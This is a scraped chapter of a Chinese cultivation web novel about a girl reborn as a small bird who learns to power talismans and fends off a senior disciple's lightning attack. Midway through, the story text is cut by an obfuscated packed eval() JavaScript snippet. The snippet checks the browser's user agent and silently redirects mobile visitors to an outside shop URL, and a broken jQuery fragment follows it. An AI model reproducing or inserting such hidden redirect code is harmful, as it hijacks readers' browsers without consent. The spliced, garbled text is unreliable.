文趣网 > 其他小说 > 可我只是一只鸟啊 > 31. 第 31 章
    纸人在变出来的那一刻,朝闻人黎歪了歪脑袋。

    像小团子似的小黄鸡也歪了歪头,眼睛里流露出一丝茫然和不知所措。

    但随即,这点茫然的情绪被喜悦所代替。

    巨大的欣喜像潮水般从闻人黎心脏涌出,她果然不是一直废物鸟。

    自己确实能驱动符纸。

    伯劳的灵气微弱,这两张符纸坚持了不到两分钟就变成了一张废纸,一阵风吹来,黄符纸落到水里。

    一只大红色的鲤鱼过来咬符纸,闻人黎本来还蹦跶了两下想往前抢回符纸。

    但鲤鱼见到闻人黎出现,立马警惕地钻进水里。

    “……”

    闻人黎见状也没有再追,她坐在石头上。

    体内的胀痛随着刚才符纸的启动而逐渐散去,闻人黎还没高兴太久,外面传来四师兄阮蒙的声音:“寅稚,寅稚?”

    闻人黎从池塘中飞出来。

    阮蒙看见她,手中涌出一道灵力借助她道:“该吃饭了,今天的功课多不多?”

    闻人黎其实是写作业的。

    但无论她多努力,控制小人写出来的字迹总归不能和人类书写出来的相比,即使闻人黎觉得自己的字迹正在变得逐渐端正中。

    可各位夫子还是看不懂她写的内容。

    就很无语。

    讲经课的老师每次都把闻人黎留下来,看着她交上来的作业,慢慢地说一大堆之乎者也。

    然后重新把课堂上的内容讲一遍。

    说的闻人黎心烦意乱。

    今天课上唐长老让她和伯劳先尝试画几张符,明天带过去给他看。

    这对闻人黎来说是个大工程。

    闻人黎闻言点点头。

    阮蒙看了眼手臂上的小鸟,他话少,说话也相当简洁:“吃过饭再写,写不完师兄帮你。”

    就其他人说这种话可能是客气,比如林燕萍。

    但阮蒙说帮闻人黎写,他便一定会帮。

    闻人黎用翅膀轻轻蹭了下他的手臂,表达感谢。

    阮蒙低头,眼底浮现一丝浅浅的温和笑意。

    *

    第二天唐长老对闻人黎和伯劳画的符纸做出了点评。

    他们俩的用笔都十分娴熟,闻人黎用的笔纤细,但符纸仍然写的十分漂亮,甚至她第一遍临摹,符纸没有一处错误。

    要知道,符咒是通达苍天和周围灵气的工具。

    写符纸时,也是和这两者沟通的过程,有些符纸,若非修为高强者,连写都写不出来。

    这两张符纸,一张是祈福用的小儿止咳符,一张是火符。

    两张符都不难。

    可闻人黎现在还不能修炼,从笔画上看,她写起符纸竟无一丝凝滞。

    加上这重原因,闻人黎还能写成这样,很难得。

    唐长老对着她昨晚写的两张符频频颔首,喜道:“你这只小鸟不愧是天地生灵,实在是可造之材!”

    闻人黎觉得自己应该谦逊一点,她就只点点头。

    唐长老又看了看她身边纸人手里的小毛笔,捋着发白的胡须心知肚明道:“是你燕萍师兄给你的?”

    闻人黎点头。

    “欲善其事必先利其器,好好,你师兄的这些东西都是极好的,”唐长老说着把桌上的一沓符纸递给她,又道:“你且去写符。”

    随即他又看向一旁的伯劳,除却符纸外,还多给他递了支描漆的白玉毛笔:“你的天赋也不错,也下去写符吧。”

    白玉笔杆上描了鎏金的金漆,白金两色对比,显出珍贵感,一看就价值不菲。

    伯劳双手接过毛笔和符纸,连忙弯腰道谢:“多谢唐长老!”

    他道谢的时候下意识弯腰躬身,一副谦逊尊敬之意。

    可有时候谦逊得他太过头,反而会有种卑躬屈膝的谨慎感。

    唐长老察觉到,眼神一眯,打量道:“你这小子,我看你骨骼活络,面容端正,也不逊色于他人。修行之人,虽要时刻保持谦逊,可万不可随意看轻自己,挺直脊骨。”

    唐长老面容慈蔼,语气比起教训弟子,更像是对晚辈的谆谆教导。

    伯劳手指微不可见的一僵。

    片刻后稍稍直起身,嘴唇稍抿道:“是,弟子多谢唐长老教诲。”

    唐长老颔首,露出孺子可教的满意表情,道:“下去画符吧。”

    *

    唐长老的习惯是讲半节课然后让弟子画符。

    一下午的功夫很快过去。

    闻人黎原先很喜欢写书法,大部分时候这也是她静心的一种方式,只是后来她穿成一只小鸟,没法拿笔这才作罢。

    但眼下利用画符的机会,闻人黎也在努力让自己熟悉用翅膀写字。

    时间就这么一天天在画符和去学宫之间过去。

    闻人黎对符纸非常感兴趣,所以除了去学宫听唐长老讲课之外。

    她也经常和伯劳一起去藏书阁里读书。

    藏经阁倚着学宫建立,主体是高达八层的圆形藏书架,而无论是膳房还是弟子的舍房都围绕其建立,建筑形制类似于土楼。

    里面藏书万余策。

    足以满足闻人黎的学习欲望。

    她有时候也会去小筑里找楚师姐,给她带些阮蒙师兄做的饭菜,和她一起看书。

    闻人黎能感觉到楚泠有时候心情低落。

    有时候闻人黎会听见她问细燕关于楚地大旱的内容,大概是忧思故国所至。

    闻人黎也不知道该如何安慰她,便经常的往小筑跑。

    阮蒙做的肉干,还有各种小吃糕点,她经常把这些往小筑里搬。

    搞得有一天刘敬平回到瀛洲岛,大骂岛上长了老鼠,连他的下酒菜都被偷了。

    闻人黎才不管三七二十一,依旧我行我素。

    反正,阮蒙不会骂她。

    与此同时,闻人黎还在想自己能驱动符纸的事情。

    经过闻人黎自己的总结,发现能驱动符纸,在于以下三点。

    第一,他人的灵气。

    第二,血丹。

    第三,蟾毒。

    闻人黎在不服用血丹的情况下,也尝试过让伯劳将灵气注入她体内。

    但毫无用处。

    所以根源可能在于血丹。

    在这之后闻人黎又服用了两次药,楚泠说她体内的蟾毒已经清除的差不多了。

    她说这话时,闻人黎还有些失落,因为她确实挺喜欢自己能驱动符纸的那种感觉的。

    像是在这个茫茫修真界,自己有了能把握住的东西。

    闻人黎不是白痴,她从周围人都只言片语中已经能感觉到修真界的残酷性。

    邪派的修士练魂取魄,暗处的阵法,乃至修士冲境界失败也可能死去。

    即使闻人黎只是一只鸟,但她也能感觉到自己身上的奇特性。

    能看得见灵气,又莫名穿越到这个世界,放在小说里这肯定是主角才有的成就。

    可就像一个人拥有宝藏,若是没有相应的实力去守护,便会成为一种灾难。

    万一有人盯上闻人黎,那她就完蛋了。

    而段清,他是说会保护自己。

    可是一味的依靠别人终究不是长久之计,闻人黎也不喜欢这样。

    更何况,段清作为蓬莱大师兄,已经够辛苦了。

    闻人黎不想成为谁的负担。

    这是她对自己的要求。

    在吃完血丹后,闻人黎仍旧在坚持打坐,她有时觉得自己模模糊糊地感觉到所谓的灵气。

    但却无法利用它们。

    甚至大多数时候连闻人黎都觉得或许是自己太想修炼了,而产生了一种错觉。

    但又有一些时间,闻人黎是觉得她自己正在比之前更能感受到灵力。

    似是而非之中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873789|209205||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,闻人黎思来想去决定,还是需要再试一次。

    如果没了血丹,自己能不能激活符纸。

    虽然还不知道楚师姐的血丹有什么特别的。

    但将来有一天她出门在外,总不能依靠吸血为生吧。

    自己是只鸟,又不是吸血的邪修。

    她在符咒课上给伯劳写小纸条:你能再给我一道灵气吗?

    这些天,闻人黎每次吃丹药时都问过他,伯劳也习以为常,点头。

    他今日没有穿外门弟子统一的黄色长袍,而是穿了身水蓝色的琵琶袖直裰。

    水蓝衬人,让伯劳看起来比往日多了些精神。

    闻人黎想起来什么,又写到:王荣还有为难过你吗?

    王荣就是之前污蔑伯劳偷钱袋的绿衣服男子。

    他和他的几个跟班被罚后,蓝管事碍于唐长老和林燕萍的压力,把他们调到了丙字堂的其他地方住。

    伯劳道:“多谢寅稚师妹和三师兄关心,现下我和王荣师兄他们已无交际。”

    闻人黎点点头:那就好,如果再遇到麻烦和我说。

    她可以去找林燕萍出手。

    小鸟特别小一团,站在桌上,一笔一划写字时毛绒绒的翅膀也会抖动几下,显得极为可爱。

    翅膀比起之前稍微长了些,可也没长态度。

    与其说是她是在拿笔,更像是在用翅膀环抱着毛笔,因为太小,所以每写一个字时,身体也要跟着移动。

    一节课下来,伯劳经常能看到小黄团在黄符纸上不停移动。

    但她极少发出声音,无声无息的,像是怕打扰到谁。

    安静,可爱。

    可与之相反的是,她笔下的字写的越来越流畅,线条也很少见到因为力道不足而产生的抖动。

    绒毛暖呼呼的感觉,伯劳手指在袖口中蜷缩一下,露出微笑。

    一侧的犬牙细白,面容干净温和,谢道:“多谢寅稚师妹。”

    *

    闻人黎这次是想试试自己的打坐,效仿人类的修行究竟有没有用。

    究竟离开了血丹,她还能不能驱动符纸?

    到底血丹为什么能让她产生这种变化?

    但闻人黎这次打坐了很久,但始终没有感觉到身体有鼓胀感,张开眼,也没有再看到那些紫黄彩点。

    果然,还是需要血丹吗?

    闻人黎失望至极。

    她在石头上站了一会,忽然听见外面传来刘敬平的怒骂声:“我的下酒鱼干呢,哪个小王八蛋又给我拿走了?”

    闻人黎并不想搭理他。

    仍旧在想自己的事。

    但外面刘敬平似乎环视一圈,听脚步慢慢靠近池边:“原来你个小王八蛋在这……”

    还未等闻人黎反应,一道紫光从荷花中钻出,直奔闻人黎而来。

    说时迟那时快,眼见紫光近在咫尺,一股难以言喻的饱胀感从闻人黎翅膀处的龙骨冒出,霎时间涌出钻入符纸。

    符纸霎时间变成一团火,直朝紫光撞去。

    火电交接,两者皆消于空气。

    一连串的变故让闻人黎始料未及。

    那边,刘敬平显然也发现了这边的动静,他站在岸边,周围荷花覆倒,露出石头,和站在上面的闻人黎。

    火符的余烬还在周边飘着。

    刘敬平自然知道自己这一手紫雷的功力,他眼里冒出惊疑之色:“好好,你这只臭鸟又在练什么邪术,今日我便试试你的剑法。”

    说罢,又是一道紫光直奔闻人黎而来。

    紫光带电,显然威力不可小觑。

    闻人黎几乎是下意识的抽取旁边纸人手中的剑。

    挥翅一挡。

    剑光白灼亮目,那一道紫光竟然被精准的反弹出去,落到荷花池中,瞬间水花四溅。

    池中的锦鲤纷纷逃散。

    满池水波荡漾,荷花溃散。